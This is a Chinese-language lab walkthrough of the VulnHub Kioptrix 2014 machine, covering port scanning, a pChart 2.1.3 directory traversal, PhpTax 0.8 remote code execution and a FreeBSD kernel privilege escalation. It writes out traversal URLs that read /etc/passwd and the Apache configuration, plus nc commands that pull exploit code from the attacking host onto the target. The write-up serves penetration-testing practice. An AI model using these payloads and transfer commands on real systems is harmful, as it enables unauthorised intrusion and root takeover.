0x00.前言
你的世界已经准时晴天 远方的我还在夏天看雪。
0x01.靶机的基本信息
靶机名称:Kioptrix: 2014 (#5)
发布日期:2014 年 4 月 6 日
作者:Kioptrix
靶机地址:https://www.vulnhub.com/entry/kioptrix-2014-5,62/
PS:在开始这台靶机之前需要先在VM中删除它的网卡,并且重新添加一遍,不这么做的话靶机会获取不到IP,在删除/添加网卡时靶机要保持关机状态,注意不是挂起,之所以要强调,是因为我自己在这被坑了。
0x02.信息收集
nmap -sn 192.168.0.1/24

sudo nmap -sS -O -A -p 1-65535 192.168.0.110

开放端口:
22 ssh
80 http
8080 http
另外可以注意到,目标系统并非是Linux,而是FreeBSD;说实话在打这靶场之前我也并不知道FreeBSD这个系统,简而言之,Linux和FreeBSD都是类unix系统,两个都是类unix系统的一个分支,而FreeBSD的系统许多重要文件的存储路径和Linux都是不一样的。这两者具体的区别可以参考这篇文章,作为了解应该是足够了:FreeBSD 和 Linux 有什么不同?
0x03.pChart 2.1.3 目录遍历漏洞
有两个http服务,先看80端口的。

没有信息,再看8080,

得,没权限。
回过头来爆破下80端口的目录,

很离谱,一点收获没有。
事出反常必有妖,打开F12一看,果然找到一个隐藏目录:pChart2.1.3/index.php

进入目录,

很多文件,看起来像个文件管理系统,版本是2.1.3,Google一下:pChart 2.1.3。这玩意是php的一个扩展,使用PHP创建抗锯齿图和图形的库,大概就是用来制作图表的。2.1.3版本的pChart有个目录遍历漏洞和XSS。我们只要关注目录遍历漏洞,XSS用不上。

简单看下,利用起来很简单,地方放这,照着exp改就行了,尝试下读取passwd,
http://192.168.0.110/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

问题不大,可以读取。网站使用的是apache,so我们尝试读取下apache的配置文件,
最常用的Apache路径有:
/etc/httpd/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
但还记得吗,这不是Linux系统,而是FreeBSD,所以apache配置文件的位置并不在这!根据FreeBSD官网文档的帮助,我们可以得知,apache的配置文件默认位置在/usr/local/etc/apache2x/httpd.conf,其中x代表版本号。那么直接构造如下链接,读取apache配置文件:
http://192.168.0.110/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf
注意到底部有这样一段代码,

正是它限制了我们访问8080端口,只要我们把user-agent这个字段设置为它给的Mozilla/4.0 Mozilla4_browser,便可以正常访问了,抓个包试试,


很好,确实是这样。
0x04.phptax0.8 远程代码执行
再进入phptax目录,

看上去像是个关于税收的系统,以phptax为关键字Google一下,得知PhpTax是美国收入所得税计算软件,且在0.8及之前版本存在远程代码执行漏洞。事情一下子变得简单起来了,直接MSF一把梭,找到漏洞,设置好参数,弹个shell。

成功拿到shell。
0x05.内核提权
查看下内核版本:uname -a

找一下有没有EXP,


就决定是你了:FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation
这里要把exp上传到目标服务器下,一般是用wget命令来上传,不过这台靶机并没有,

但是它有瑞士军刀nc,也是一样的

nc -lp 81 < 28718.c //先在攻击机上运行
nc 192.168.0.109 81 > exp.c //然后在目标机器上运行
注意这个传输完成了是不会自动结束的,所以得自己判断什么时候传输完成,然后在攻击机上ctrl+c手动结束,由于是本地传输,基本是秒传,稍微等个几秒就行。ls -la看下文件大小,应该是完整传输了。

然后编译好,再给一下执行权限,执行exp,

显然,我们已经得到了root权限。
0x06.总结
这台靶机就三个点:目录遍历漏洞,远程代码执行,内核提权。主要还是要擅用Google吧,然后就是FreeBSD系统的这个apache配置文件不太好找,还有,没权限访问网页时,注意看看apache的配置文件做了什么配置。
参考文章:
Comments | NOTHING